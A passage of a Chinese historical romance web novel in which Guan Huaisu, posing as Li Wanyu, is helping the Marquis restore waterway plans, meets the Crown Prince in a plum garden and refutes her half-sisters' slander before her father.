周乐天这些年龋龋独行,极少有被人如此温情安慰的时候,一时心里软成一滩春水,咳嗽止住,便勉力对她笑笑,想说话,下人来了。 “今日人多,劳姑娘久候了。”嬷嬷进门就在请罪。 “无事,宋妹妹在里面,辛苦你们了。”关怀素知道今儿人多,并不计较,只叫赶紧起来去屋里帮忙照顾宋兰。 “这屋里瞧着太寡淡了些,院子里也光秃秃的,瞧着闷气,再端几盆花草来装点一下。”周乐天吩咐。 “也就今儿晚上借住一晚,不用如此劳烦。”关怀素想阻止。 “这算得上什么劳烦。”周乐天立刻说:“再说,我也想求姑娘帮个忙。” 见关怀素面露疑惑,周乐天说:“圣人正烦恼京师水道之事,若是能整理好协助工部修缮,那便真是利于百姓的大事。” 关怀素奇怪地问:“工部的大人们怎地不亲自整理这水道图?” “工部除了陈松员外郎是关老先生的弟子,其他已经纷纷辞官四散民间了。”周乐天微微叹了口气,说,“许多关键机窍之处,便是陈大人也说自己学艺不精,已经无法复原了。” 关怀素一听,明白过来,立刻点头说:“既是如此,事关百姓,那我当然义不容辞。” 如此说定,周乐天再无借口留下,便终于告辞离开。 周乐天才走,宫女们捧着花草香炉鱼贯而入,瞬间屋里摆上了新开的梅花与蝴蝶兰,花香馥郁,便连门窗的帘子都换了新色,瞧着整个屋子登时焕然一新。 柳叶瞧着,忍不住对关怀素说:“姑娘,侯爷对你特别好呢!” 关怀素知道她的意思,便轻声说:“不许胡说!侯爷只是人很好。” 柳叶便露出促狭的笑容,说:“嗯,如今这庄子里这么多人,侯爷就对您特别好。” 关怀素闻言,摇摇头,笑着说:“那是因为我有用啊,小柳叶!” 看柳叶愣住,关怀素说:“祖父留下的水道图,不是我自夸,如今天底下能完全修复好的人里面不超过三个,侯爷如今唯一能找到的便是我了,他想让我帮忙,加上他又是个好人,自然就对我格外好些,这不是正常的吗?” 柳叶闻言,皱眉说:“是这样的吗?” “那不然你以为是如何?”关怀素说,“难道是他喜欢我?你想想侯爷什么美人没见过,他天天照镜子看到自己,你家姑娘我是多好看,才能叫他见这一两次就格外喜欢?” “那他也不能跟自己成亲啊!”柳叶总觉得姑娘这个逻辑十分诡异,她在旁边瞧着,侯爷对自家姑娘确实与其他闺秀不太一样。 可姑娘太自信了,习惯相信自家姑娘判断的柳叶将信将疑地接受了姑娘说的话。 院子外,周乐天离开,抱着手炉子缓慢地行步于庄子回廊下。 此时天色已经渐黑,来福提着灯笼在前面走,远远除了留宿的客人们传来的零星声音,天地一片寂静。 “爷,李大姑娘性子确实不错,又沉稳,也有本事。”来福在前面小心翼翼地开口,对周乐天说。 周乐天从沉思中醒来,轻声对来福说:“你想说什么?” “爷如今转年也要及冠了,寻常人家这个时候,家里已经有孩子了。”来福便小声对周乐天说。 “此事不要再提。”周乐天不容置疑地开口。 “爷,李大姑娘身份确实低了些,但是……”来福想说什么,周乐天却立刻制止,轻声说,“我不是嫌弃她身份。” 来福还想问,周乐天却轻轻吐出几个字,差点把来福吓得魂飞魄散。 “她不是李婉玉。”周乐天轻轻地,却十分笃定地对来福说出了石破天惊的话。 第五十四章 梅园巧遇 来福惊愕万分,心神震动之中,还不忘谨慎地看看四周,见空无一人才小心地说:“爷你确定?” 不等周乐天回答,来福急急说:“爷,此事事关重大,京师官眷家里突然多个一模一样的女眷,这事情可大可小啊!” “不用紧张,此事应与龃龉伎俩无关。我瞧着她没有恶意,能看关家的图纸,行事也是温厚大方,瞧着真真是关家人的样子。”周乐天皱眉,轻声说,“只是到底为何她与李大姑娘竟生的一模一样?而且,李大姑娘去哪里了,怎地换了个关家的姑娘来了?” 来福一听,便左右看一眼,鬼鬼祟祟地说:“爷,搞不好是关大儒晚年收了妾室,生了个孩子,凑巧与李大姑娘长得像。至于为啥会替代李大姑娘……定然是知道李家对她不好,悄悄把大姑娘接回去教养,这时候便叫这关氏女顶替,到时候换回来,给李家一点好看!” 周乐天无语地看来福一下,然后轻声说:“你还是适合看沙盘。” 来福感觉到自己被嫌弃,努力替自己争取,说:“我说的十分合情合理啊!不然爷你说还有什么可能?还有个可能,是爷你疑神疑鬼,大姑娘根本就没换人呢。” “不,我非常确定。”周乐天笃定地轻声说,“这事儿你不要声张,去悄悄找人往八仙庄那边走一趟,查查李大姑娘住在庄子前后,那边来过什么人。” 来福便点头应了,然后好奇地问:“不是,爷,你为何这么确信大姑娘换人了?可是发现了什么板上钉钉的证据?” 说到这里,周乐天脸上却突然飞起一抹可疑的红晕。 他本来白的有些没有血色的脸猛地升腾起大片的羞红,十分明显,一时看得来福震惊了。 来福本来是随口问,但是周乐天的表情实在是太扎眼,怎么也遮掩不过去。 于是来福颤巍巍地问:“爷,你到底干啥了?” 周乐天感觉自己要烧起来了,只能含混地说:“她后脖子那边,有一颗血红色的痣。” 来福震惊地问:“不是,爷,你怎么知道的?不是,你怎么知道原来的大姑娘没有的?!” 这两件事加起来信息量都很大,来福觉得自己脑子快冒烟了。 “打住!这完全是凑巧!”周乐天眼看他要想歪,立刻说,“第一回,是大姑娘跌在太子面前请罪,我上前让人去扶她,凑近了不小心……” “那第二回呢?”来福说,“这回大姑娘可没跌倒过,您、您……” 说到这里,来福瞪大眼睛,惊恐地脱口而出:“您今儿不会偷看大姑娘换衣裳了吧?!” “胡说八道!”周乐天没好气地瞪来福一眼。 但是他马上回想到他为何会笃定眼前的李大姑娘换了人——因为就在不久之前,他出门见到屋里黑漆漆的,在黑暗之中只有一个人的浅浅呼吸声。 当时周乐天第一反应是,又来了,他都已经成了废人,怎地还有人不放心,想置他于死地? 他心中涌起怒火,当场便不顾身体想斩杀这个刺客。 却没想到搏斗之中,突然闻到了淡淡的桂花香气。 这不该是刺客应有的味道,而且,这味道好生熟悉。 周乐天当场收了杀招,被此人擒住,等到把话说开之后,她蹲在炭盆边点燃烛火,也是那么凑巧的,周乐天就刚好猝不及防看到她衣领在打斗之中松开了一点,恰好就能看到白皙的脖颈之下,蝴蝶骨最上端的中间,那颗红得滴血的痣。 之前他想扶李大姑娘的时候,不小心见过,那里一片光洁。 那不是一朝一夕能长出来的小痣,而是非常圆整漂亮的、像是一滴血一样的小小红痣,格外明显,格外夺目。 那一瞬间,周乐天脑子里觉得奇怪的细节瞬间电光火石之间打通了——那突然变了的说话习惯、字里藏不住的大开大合之气,以及那些温厚却聪明的举动…… 一切的一切,答案在这里。 原来眼前的人,根本不是之前那个被欺负后偷偷流泪的李大姑娘。 当时周乐天背上就立刻满身冷汗,就像来福说的,一个京官家里的女眷竟偷偷被换了个人,这到底是敌国细作还是什么?此事完全可大可小! 偏这女子接下来看懂了关怀远的图纸,又偏偏她自己说漏了嘴,那句“我祖父……”,听到当时格外精神紧绷的周乐天耳朵里,不啻于重锤一般。 她看得懂关家独门图纸、又称呼关怀远为祖父,且细看似乎没有什么易容的痕迹,起码以周乐天如此近距离贴着也未曾察觉到问题。 那么综合此间种种表现,周乐天只能得出一个结论——此女是关氏女子。 但是到底是关娘子的小妹、关怀远老来得的女儿,还是别有来历,还要等着调查之后才知道。 只是周乐天不知为何,哪怕对方身份为明,却依然并不忌惮她。 “那……之前大姑娘给的药方子,咱们还吃吗?”来福应下查八仙庄的事儿之后,便有些迟疑地小声问。 周乐天点点头,说:“吃,那方子我才吃多久,便已经觉得心口松快了许多,关氏人素来不屑于做龃龉伎俩,我们又无冤无仇,虽不知他们到底在计划什么,但想来不会无缘无故害我。” 来福一听,也觉得有道理,二人说着话,提着灯笼往自己院子里去了。 关怀素还压根不知道自己身份暴露了,她送走周乐天之后便歇下,一夜好梦。 第二天一大早,宋兰便捂着自己的头,呻吟着喊痛。 “知道痛,日后就不要喝这么多了。”关怀素听到动静,从对面卧室里走出来,笑着说,“你啊,喝了酒可太能折腾人了。” 宋兰顿时才想起来,昨儿大半夜她迷迷糊糊起来呕吐,又说口干,连连折腾,让关怀素也跟着起身了好几次。 她不好意思,说:“我头一回喝酒,竟不知我原来是个酒蒙子,昨儿累着姐姐了……” 说到一半,却突然反应过来,猛地脸色惨白,说:“昨儿我醉了,我没回家?” 上回落水,宋兰说“若是今日出事,舅舅不知会不会为了面子逼我做尼姑。”,关怀素便知道她家里对女儿极其苛刻,这会子赶紧上前拍着她的背安慰说:“没事没事,昨儿留宿的人很多,郡主与各位夫人都在呢。” 宋兰一听,立刻瘫软一般靠在床上,大大地松了口气,苦笑说:“叫姐姐见笑了。” “我是什么处境,有什么资格笑你?”关怀素怕她难过,便立刻拿自己开导她,“咱们只能把自个儿过好,便比什么都重要了。” 宋兰一听,心中登时熨帖很多,经过这一番折腾,一时心中与关怀素也格外亲热起来。 恰在这个时候,有个女官进门笑说:“公主说昨夜花园中恰好腊梅盛放,如今气味馥郁,景色优美,若姑娘们喜欢,恰好可以去赏玩一番。” “那可是好!”关怀素及其喜爱腊梅,眼睛一亮,有些犹豫地说,“只是今儿园子里人多,我们会不会冲撞了贵人?” “姑娘不必担心,这一大早的,其他客人都未曾起身呢。”女官笑说,“姑娘若喜欢,只管这时候去,赏玩一番,个把时辰回来,刚好用了朝食回家。” 关怀素登时心动,宋兰也立刻起身说:“哎呀,那我们去吧姐姐!这腊梅可是稀罕物,今儿不去,还不知他日什么时候能看到呢!” 这话彻底打动了关怀素,于是二人立刻稍微收拾一下,立即结伴出门去看腊梅。 公主这园子极大,花园更是占地面积极广,中间有流水隔着冰面潺潺流过,其间有山林树木,只是满目都是凋敝之色,绕过半山坡,才突然闻到了腊梅极其馥郁的幽香。 “好香!”关怀素极爱腊梅,闻到香气,立刻加快脚步,二人从桥边拱廊穿过去,而后撞入了满目琥珀黄。 满园都是腊梅幽香,顺着寒风一点点浸染出来,又冷又甜,关怀素一瞬间就快醉死在这幽香里。 “冰雪林中著此身,不同桃李混芳尘;忽然一夜清香发,散作乾坤万里春。”宋兰也是十分陶醉,忍不住开口轻声呢喃。 “那是咏白梅的。”却突然听到一道突兀的男人声音,吓了关怀素与宋兰一跳! 二人猛地转身,就看到小道尽头走出来一群人,当先红圆领袍男子面如冠玉,腰垂白玉,关怀素与宋兰齐齐垂眸叠掌深深一福,口颂:“太子殿下安康。” “方才那首诗,是咏白梅的。”太子殿下却并不叫起,只声调平整地继续盯着宋兰重复。 宋兰不知太子为何两次质问,吓得抖着嗓子回答:“是、是咏白梅的,我、我才疏学浅,乱读诗书,还请殿下恕罪!” 太子仿佛这才满意,却还是不叫起,只沉默着,过一会儿突然说:“你们听得到腊梅的声音吗?听,腊梅的歌声……” 关怀素一愣。 宋兰也不知道怎么回答。 可是一直不说话是大不敬,关怀素有些紧张,正在这时,突然听到风吹过,有轻轻的树枝摆动的声音、落花的声音。 关怀素迟疑地说:“殿下,是风吹动腊梅林、如乐师齐齐奏乐之声吗?” “是!”太子突然激动,上前猛地拉住了关怀素,说,“我对他们说,他们都不懂!你懂!你很好!你要不要跟我一起回家去?我家里有许多好听的声音,很多很多!” 关怀素被拉住,吓了一跳,再听到太子的话,更是吓到了。 传闻太子十分爱色,府中姬妾无数,还曾强抢民女……关怀素这一瞬间,以为太子是起了什么色心。 但是她猛地一抬头,看到太子的表情,关怀素突兀地意识到了一件事——不对,太子的表情太纯真了! 他的表情就仿佛稚儿一般天真无邪,眼睛十分清澈。 他说的话没有任何其他意思,他真的只是单纯地在邀请她。 “殿下,你误会了。”正在僵持之际,周乐天赶来,上前伸手覆在太子拉着关怀素的手上。 “她听得到腊梅的声音,她对乐律非常敏锐!”太子刘钰依然不放手,一脸喜悦对周乐天说,“刚好我宫中也有梅园,可以让她住在那里。” 关怀素冷汗都要出来了。 “她只是瞎猫碰上死耗子,其实她素日完全不通音律,歌舞什么也完全不行。”周乐天慢慢掰开太子的手,温声像哄小孩一般轻声说完,又对关怀素说,“是不是,李姑娘?” 关怀素汗流浃背,立刻点头,说:“是、是。我祖父是做木匠的,我完全不懂歌舞韵律,倒是割木头的声音我懂!” 太子迟疑皱眉,身后的宋律也上前,轻声说:“殿下,此女粗鄙不堪,哪里听得懂风动梅林的雅趣,她们在这里实在是碍事,反而掩盖了梅花飘落的声音。” 二人都这么说,方才还像是得了新玩具一般开心的太子立时信了,瞬间嫌弃地丢下关怀素的手,又看看宋兰,不满地用古板缓慢的声音说:“不通韵律,会背几句诗又如何?都是些蠢货,我不喜欢!” 说完,他一挥袖,说:“快把这两个粗俗的家伙带走!不许扰了梅园的风音!” 关怀素和宋兰巴不得,立刻告退。 二人走出一大截,对视一眼,这才猛地松了口大气。 “姐姐,真是好险!”宋兰猛地拍拍心口,对关怀素说,“得亏侯爷说话。” 确实,关怀素手上似乎还残留着他拉开自己的手的温度。 太子的手是温热的,周乐天的手则是和冰一样,像是摸到了寒凉的冷玉一般,但是却让关怀素感到温暖。 得亏他帮忙,不然今日就麻烦了。 “一大早的,谁能想到这么巧。”关怀素正说着呢,突然看到远处有女官匆匆过来,见到她们就是一喜,说:“公主方才找姑娘呢,说您看完腊梅了,便去和她一起用朝食!” 宋兰余惊之中,只让关怀素自去,她在屋里用朝食,顺便休息一下。 关怀素十分理解,便自己跟着女官,一路跟着女官去公主之处。 大长公主已经梳洗完毕,见到关怀素的打扮,便笑着摇摇头,轻声说:“素素当年最喜浓艳华贵,你这一点与她倒是不像,更像是老师。” 关怀素一愣,才反应过来,公主口中的老师应该是祖父关怀远。 关怀素便笑了笑,大长公主也不多说,只起身拉着她出门去,隔壁已经摆了朝食的餐桌。 二人分别坐下,大长公主便问她爱吃什么,关怀素捡着桌上有的菜色回答,大长公主便如昨天一般,给她布菜。 关怀素也当和长辈家常聊天一般,说着话慢慢用完了朝食,便告辞离开。 “去吧,日后若是有事,随时叫人给我递话也行。”大长公主便温和地点点头,便叫她离开。 等到关怀素告辞,转身才出了屋里,大长公主的表情才慢慢地沉了下来。 “叶英,白虹,你们俩看着,玉儿性子如何?”大长公主轻声问。 “性子沉稳大度,进退有据,是个好的。”白虹说。 叶英也点点头,轻声说:“姑娘自是好的,只是瞧着行事顾忌甚多,性子与关娘子大不一样。” “李家那等小门小户,她委屈了。”大长公主叹了口气,又说,“她如今瞧着清楚了,若愿意依靠我,到时候我定要把她风风光光迎到公主府,下半辈子再不会受一点委屈。” 叶英心中剧震,立刻小心地开口:“殿下,平安侯确实也到年纪了,瞧着他似乎也对婉玉姑娘颇有好感……” “他身体不好。”大长公主却摇头,放下茶杯,说,“仁儿年轻,身体好,又是个体贴人的,留给婉玉更好。” 此话一出,便是一锤定音了。 第五十五章 辩驳 关怀素不知公主打算,用完朝食就和宋兰结伴回家。 一到家丁妈妈就紧张地说:“姑娘,昨儿老爷听闻您宿在公主府,十分生气,让您今儿个等他下值回家之后马上去见他。” 关怀素一听,心中纳闷,说:“昨儿个京中许多姑娘都宿在公主府邸呢,有什么好生气的?” “我听前头院子里的人说,二姑娘与三姑娘昨日说您宴席中途失踪,还去私下与平安侯相会……”丁妈妈说到这里声音压的极低,着急地说,“此事说出去可不好听,老爷怎能不怒?” 关怀素差点气笑了,怒声说:“这两人真是贱人贱言!” “还有就是,我打听了一下,大长公主那儿宿的,大多是武将女眷,咱们家里这样的,女儿家出阁之前,没有长辈带着,从不许随意外宿的……”丁妈妈已经逐渐琢磨清楚了李家的规矩,此时就提醒关怀素,“老爷许也是因为这个生气。” 关怀素一想也明白了,说着话,婆子来请,说老爷叫大姑娘去正院用夕食。 关怀素立刻赶去,一去才发现全家都在。 不但婉蓉婉淑都在,便是连崔小娘也在屋里,且连往日忙着上课极少出现的辰文和辰瑜都在。 回家快三个月,关怀素这是头一回与这帮人齐聚一屋。 关怀素上前淡然问安,还没说话,老夫人就冷哼一声:“玉丫头!昨儿个你与蓉儿淑儿一起出门,怎地就你一个人留宿在外?你一个未出阁的姑娘,在非亲非故的人家里留宿,简直是有辱门楣!” 关怀素知道她不会叫起,便自己站起身,好整以暇地回:“祖母此话,婉玉听不懂。” “你听不懂?!蓉儿和淑儿回来可是都说了!宴席之上,你先是处处在公主殿下面前讨好卖乖、出尽风头不说,后头还与小侯爷私会……咱们家可不能出给人做小的!”老夫人被关怀素这态度气得不行,指着关怀素怒声呵斥。 “婉蓉、婉淑,你们说我与小侯爷私会,你们如何得知此事?”关怀素却不管老夫人,只转头看婉蓉和婉淑。 婉蓉与婉淑都愣了一下。 “大姐姐,我们也不想随口胡言,只是我们当时回来问起你。公主殿下府上女官亲口告诉我们,说您在平安侯的书房里。”婉淑故作委屈,小心翼翼地说。 “是啊,我的几个朋友都听到了,还贺喜我家大姐姐要当贵人呢!”婉蓉立刻便生气地说,“闹得我都没脸!” 这话说完,李珺的脸更黑了,只冷声问:“玉儿,此事可属实?” 关怀素点头,李珺气得一拍桌子,便怒声呵斥:“玉儿,你大胆!” 老夫人也立刻阴狠地说:“这么个不知廉耻的东西,合该送去庙里做姑子去!” 关怀素看着这帮人,心中愈发为姐姐委屈,这里头没有一个人在乎姐姐,若稍微在乎,也不会听一点风言风语就对姐姐喊打喊杀。 关怀素背脊笔直,直视全屋人,冷声说:“我是在平安侯的书房,当时公主殿下、福宁郡主并厉家姐姐她们都亲眼所见。” “你什么意思?”李珺意识到自己误会了什么。 “平安侯想为圣人分忧,解决京师水道之事,那图纸当初乃是我祖父所制,如今工部无人能懂,所以平安侯找我,是想解决此事。”关怀素便冷冷把事情说了。 而后她看向婉蓉和婉淑,说,“当时屋中伺候的女官皆在、公主殿下亲口吩咐,说此事兹事体大,让我从旁相助。李婉玉虽是个小女子,但也愿意为圣人分忧。只是没想到有些人年纪小小,便满脑子都是蝇营狗苟、男盗女娼的事儿,也不知道原来家风清正人家的长辈,竟审也不审,便要把为圣人分忧的孩子捆去庙里做姑子。” 她这一番话登时像是几十个耳光甩在了李家所有人脸上。 别说婉蓉和婉淑脸涨得通红,老夫人一时脸成了猪肝色,便是李珺都觉得脸上火辣辣的。 “你在家里长大,从哪里学到关家的图纸?!”孙大娘子皱眉,立刻问。 关怀素答应时已经有了想法,此时就冷静地说:“托被送去庄子上的福,不但让我学到了工学之事,还找到了祖父留下来的工学书籍,我似乎天生会这些,看着祖父留下的手记,也差不多好像都会了。” 李珺不敢置信,说:“你胡说什么?关老可是工学泰斗,许多学生一生都学不会他三成功夫,你看着他的手记便学会了?” 而后又紧张地说:“你不要与平安侯胡说,到时候没做好,岂不是大祸临头!” 关怀素摇头,说:“我看得懂,我会,而且我已经答应侯爷会好好相助,这个不重要。” 关怀素看着婉蓉和婉淑说:“好,我解释清楚私通外男的事情了,两位妹妹造谣我,又如何算?” 孙萍立刻温声说:“婉玉,你的妹妹们也是担心,你一个未出闺阁的女孩儿,在外头实在是要注意些,否则就算是家人明白,外头人传出去,损毁了名声就不好了。” 她一笑,温和大度地说,“既然是误会,你说清楚便是了,你这孩子也是,家里悄悄问问话,何必闹成这样子。” 她说到这里,在场紧绷的气氛稍微和缓下来。 关怀素却并不想给她借驴下坡的机会,只冷笑一声,说:“今儿若是换成婉淑与婉蓉被说与外男私会、一夜未归,想来大娘子和崔小娘必不会觉得我小题大作了。只怕第一时间把乱说话的人拖出去打死,免得污了二妹妹和三妹妹的名声。” 孙大娘子和崔小娘都齐齐脸色微变。 场面瞬间凝滞,婉淑知道不对,当机立断,立刻对关怀素蹲身请罪,说:“大姐姐,我错了。我当时听女官说完,回来时又听说大姐姐喝醉要留宿,我一下子吓得慌神了,回来便求阿娘解决此事,一时竟没想到可能都是误会……都是婉淑莽撞,大姐姐你要不打我一巴掌,淑儿以后再也不乱说话了!” 她说到后面,已经是语带哽咽。 这反应速度、审时度势的能力,关怀素都心中震惊。 大娘子真的把女儿教的很好。 至于婉蓉,也不是个蠢货,她一看婉淑这么说,也跟着跪下,哭着说:“我听女官说完,又被手帕交嘲笑,竟完全没想过误会了大姐姐,蓉儿也有错。” “老爷,是我的错,淑儿她性子莽撞,我又何尝不是关心则乱?请老爷恕罪。”孙大娘子接着起身,对李珺深蹲行了一礼,愧疚地含泪说,“大姑娘说得对,此事本该耐心等她回来分说,淑儿和蓉儿两个才多大,我竟没想到她们两个许是闹了糊涂,光想着此事干系大姑娘一辈子,便一时情急了,老爷要罚就罚我吧,实在是我鲁莽了!” 这下可好,孙大娘子如此大度贤惠,哪怕是关怀素原是被冤枉、被陷害的,可如今她再计较,倒显得是她咄咄逼人了。 关怀素第一次在父亲面前与孙大娘子正面交手,才算是真正了解了孙大娘子的城府多深。 她说着不为自己分辩,却句句都在分辨。 在父亲看来,婉淑婉蓉都十分乖巧,自然不会真的害大姐姐,那必然是年纪小糊涂些,而孙大娘子能有什么错呢? 她一个继母,对大女儿如此上心,也不过是关心则乱罢了。 关怀素猜测的没错,本来李珺确实有些生气,妻女这么一请罪,他又觉得确实是关心则乱,闹了乌龙。 但是大女儿确实又受委屈了,李珺便说:“蓉儿淑儿,你们虽年纪小,不是有心,但是差点叫你们大姐姐受无妄之灾,罚你们禁足三日,在屋里好好反省!” 关怀素听得心中愈发齿冷。 私相授受,若是真传出谣言,如今风气,是真能杀人的。 但是关怀素倒也不算太受打击,她心中对李珺并无什么温情,也不是为了认爹而来,这时候最多只有种“果然如此”的淡然。 只是她越是如此镇定,却不知为何,反倒叫李珺有些慌神。 李珺站起身,叫众人休憩,又对关怀素说:“玉儿,你跟我去书房说说话。” 关怀素垂眸跟上。 到了书房,李珺坐下就看着关怀素叹气问:“婉玉,你可觉得父亲方才处理不公?” 关怀素面上恭敬,垂眸回话:“想必父亲有自己的理由。” 李珺实在看不出她的脸色,犹豫一下,轻声说:“婉玉,这件事情,确实是你妹妹们做得不对,但是一则,此事不会传出去,也不会真正伤害到你;二则为父相信,你二妹妹与三妹妹或许有些骄纵,却绝对不是品德有亏之人,所以为父处罚她们,是罚她们不知轻重,却不能过于重罚,否则也太过严酷了些。希望你心中也不要真心与妹妹们有龃龉才是。” 关怀素垂眸,说:“父亲说得有道理。” “李福!”李珺看她神色镇定,不辨喜怒,心中知道她定然不舒坦,便对着外头喊了一声。 “上次我听李福说,你把我给你的金钗给了你二妹妹,我便立刻让李福出去寻支好的,这不,到昨儿才找到了这支金簪。”李福进门,李珺接过他送进来的长盒子,打开盒子一看,里面躺着一支极其漂亮的喜鹊登梅金簪。 金簪乃是扁方形状,梅花以珊瑚镶嵌,确实比婉蓉那支赤金簪还贵重许多,李珺拿着这支金簪,对着关怀素笑着说:“玉儿,我知道你一直都是个温厚的,你妹妹们不如你懂事,爹爹都看在眼里呢。” 李珺招呼关怀素上前,然后拿起这支金簪,簪在关怀素的发髻上。 “一转眼,玉儿已经这么大了啊。”李珺看着关怀素,语气带着感慨,叹息地说着,“你们长大了,以后在家里的日子也不多了。” “爹……”关怀素垂眸,心中冷笑,而后似乎松了口气,轻声说,“爹爹何必如此感伤,倒让我不知道要不要继续气婉蓉与婉淑了。” 李珺看她语气松快了些,便笑了一下,说:“你那两个妹妹,遇事是一惊一乍的,若日后还有这样,你便告诉爹,爹一定好好罚她们!” 关怀素便笑着倒上新茶,给自己也倒了一杯,说:“那我可记在心里了啊!” 李珺朗笑着说:“好,玉儿你记着,爹一定说话算话!” 话说到这里,父女二人相视一笑,李珺便觉得,此事就算是过去了。 关怀素便说:“父亲,如果没有别的事儿,我就先回屋休息去了?” “你坐下。”结果李珺却说,“听你母亲说,前几日程娘子来看你,你与她吵了一场?” 第五十六章 父女谈心 关怀素心中一凛,这才明白今儿这场父女谈话原并不是事出突然。 她立刻坐下,认真地说:“是有此事。” 不等李珺说话,关怀素就认真地说:“父亲难道也是想劝我不可与姨母往来吗?” “她虽不是自愿,但到底曾是教坊司里出没的人,玉儿你还未出阁,与她来往过密,只怕会影响未来婚事啊……”李珺沉声说。 此事关怀素早有准备,她放下茶杯,缓声开口:“父亲,想必你也知道我与大娘子如何争吵,当日与大娘子如何说,现在我就如何与父亲说,我觉得姨母当年的事情,本就是被人污蔑,程将军一生为国,儿子被杀、女儿沦落风尘,本就是世道欠他们,我外祖父当年散尽千金为姨母奔波,我作为他唯一血脉,却与姨母从不来往,只为了自己的名声自保……传出去,我又是什么家教?!” 她这话一下子打在了李珺的心上。 这也是李珺考虑几天,才犹豫问起此事的原因。 只是他到底还是介意程娘子当年之事,皱起眉来,说:“可是世人口舌如刀,你心中想得再好,若是被世人误解,日后影响到自己,又如何是好?” “这不是有爹爹吗?”关怀素就在这里等着李珺呢! 她不但要和姨母多多往来,还要父亲主动让她与姨母往来。 她放缓语气,用一种闺阁女儿应有的天真神情说:“若是有人说起来,或是嘲讽我,爹爹刚巧可以把我外祖父当年行事再宣扬一下,臊臊他们!” 这话说的十分简单,但是其言下之意,李珺却一下子理解到了。 李珺突然想起来——是了,当年岳父散尽万贯家财,为故友之女奔波,一时之间传为天下佳话。 程将军活着的时候,可也算是满门故旧,可当程将军死后,遇到事情,连结亲人家都火速退亲。 最后还是岳父站出来奔走求情,先是把程娘子包了下来,安置在别院之中,又各种托人调查,最终给程将军之子洗脱冤情,又亲自把程娘子从教坊司脱籍……前前后后一年半的奔忙,最终岳父离京的时候,不知多少民众自发地送钱财衣食,为这义举送行。 这确实是一段佳话,而且今年正是他要往上走的最关键时刻,能否从考功司升上去,再往上爬一步……这一步可是从五品到五品的重大飞跃。 要知道,从五品在京城里,就仿佛是泥沙一般,但是到了五品,虽与大人物们比起来不算什么,但是对于李珺来说,却是标志真正进入权利核心最外围的重大一步。 且王相虽然有心提拔,但是朝堂上情况复杂,圣上的心更是天威难测。 去岁考核时,王相就有意让他往上一步,却苦于没有机会,今年可是最好的机会,若是不成,给其他人顶替了,日后还能否留在圈子里都不知道。 要知道,王相底下能人众多,可不缺他一个。 他必须给自己再加点码,这个时候提醒一下所有人,他是曾经的帝师、大儒关怀远的女婿,给岳父造势,对他极为有利。 只是李珺又想到个麻烦,立刻说:“此事不可,这是圣人过手的案子,你此刻又把此事闹出来,岂不是提醒天下人?不可不可!” “可是如此闹出来,陛下只需要重重封赏一下程娘子,为程娘子这些年被冷待撑腰……岂不是也是对天下人表达陛下看重旧日功臣的心思?”关怀素假作不服气地说。 李珺开始还想笑话女儿年少轻狂,什么都能乱说,陛下怎能错呢?没看到这些年程娘子被众人当个透明人一样地过日子,陛下也没管呢? 但是李珺刚想说话,却突然一凛——是了,大长公主回京了! 大长公主自小跟着先皇马上打天下,与武将一脉是生死交托的交情,可不是如今陛下能比的。 而陛下这些年虽重用他们这些文臣,也一直努力削减武将势力,可到底还是看重武将的,大长公主这十几年一直在边关还不觉得,如今大长公主回来,武将一系人心立刻浮动了——公主这趟宴会,许多武将女眷都留宿,这就是一种风向。 这可是当初与今上一起开府的长公主,手下有自己的女官吏臣,一概与太子臣属无二,可不是前朝那些娇滴滴的公主! 在此时,陛下还真缺一个好借口,对武将一脉释放善意,给他们一些希望和好处…… 想到这里,李珺顿时心动难耐,一时坐立不安。 他沉思良久,连面前的茶水都冷下来都没发现。 而后他抬头才发现女儿居然还在屋里,正无忧无虑地端着茶水翻看他放在桌上的一本杂书。 “方才爹爹走神了,你说的有道理。”李珺笑着对关怀素说,“爹爹倒是说不过你了。” 关怀素心中大定,知道事情成了。 她面上假作不知,只开心地说:“爹爹,那我日后下课之后,可能去姨母家玩耍?姨母上回还说给我收拾了院子,让我有空只管去找她玩呢!” 李珺犹豫了一下,而后说:“也不可太常去,偶尔一两次,当做亲戚走动即可。” “那我一旬去两次,陪同姨母吃夕食之后再回来,可行?”关怀素立刻打蛇随棍上。 李珺想到自己之后的计划,点头说:“也行,只是下次出发之前,告诉李福一声,我让人备些回礼过去。” “爹爹你真好!”关怀素这回是真心实意地开心了,欢呼着上前抱住了父亲。 “你啊,合该这样。受委屈了,只管与父亲说,想要什么,也只管跟爹爹撒娇。”李珺没想到偶尔也能见到大女儿如此活泼的模样,一时还真觉得老怀安慰,父女二人相视一笑,真真是其乐融融。 本想再说说让她别沾染水道图的事情,但是想想,也可能侯爷只是问问,到时候说不得根本不会当回事,因此李珺便没再说此事。 只叫李福又拿了许多好东西给关怀素。 “到底是亲爹,还是心疼姑娘的!”丁妈妈见到东西,仿佛关怀素打了胜仗一般,喜不自胜,忙忙和小荷一起收拾东西。 柳叶倒是了解关怀素,只轻声问:“姑娘怎地瞧着不开心?” “姐姐真可怜。”关怀素回屋不再压抑自己,眼含热泪悲伤地说,“京师如今风气对女子有多苛刻,你我都察觉出来了,便是那帮武将家的女儿,平素一起玩耍打球都可以,但是要说到一个姑娘与男子悄悄在家中书房私会……你猜会如何?” 柳叶咬牙,冷声说:“若是武将家的女儿,只怕也要说不知轻重,等闲不许出门了,谈的亲事只怕也要有些波折。若是文官家眷,无法嫁过去平了此事,只有两条路,一则出家,青灯古佛了此残生,一则……死。” 说到最后,柳叶的声音都有些发紧。 关怀素眼圈发红,哽咽地说:“今日是我,还能找准机会反击。可若换成是姐姐,易地而处,她会有什么结局呢?” 能有什么结局? 只怕最好的结局也是悄悄被送去庙里。 “姑娘是为大姑娘委屈,对吗?”柳叶轻声说。 “我若是闯出弥天大祸,哪怕是真和人有了私情,祖父会集结全家让人审问威胁我吗?”关怀素眼泪掉下来,轻声说,“稍微关心家里女儿的人都不会如此。可李珺对姐姐却如此歹毒,动辄纵容他人害姐姐,还全是杀招……此人阴险冷漠,恶毒至极,真真是枉为人父。” “姑娘……”柳叶有些难受,轻声唤她。 “没事。”关怀素擦了擦泪水,眼神发狠,对柳叶说,“如此我毫无顾忌,便可放手施为了。” 关怀素在那头哭过一场,东院这边,婉淑进门就愤恨地说:“真没想到大姐姐居然三言两句,竟把事情就打发过去了。” “你啊。”孙大娘子轻叹一声,“公主如何雷霆手段,怎么偏偏就你们遇到这样的事情?你回屋去好好想想吧。” 婉淑有些想问,但看阿娘已经满脸疲惫,她便也收了话,回屋先自考量去了。 等到她一走,孙大娘子就叹了口气。 “娘子,三姑娘转年才及笄呢,还是个孩子,别太心急了。”众人都走了,屋里只剩下周妈妈与孙大娘子,周妈妈瞧她叹气,便上前温声劝导。 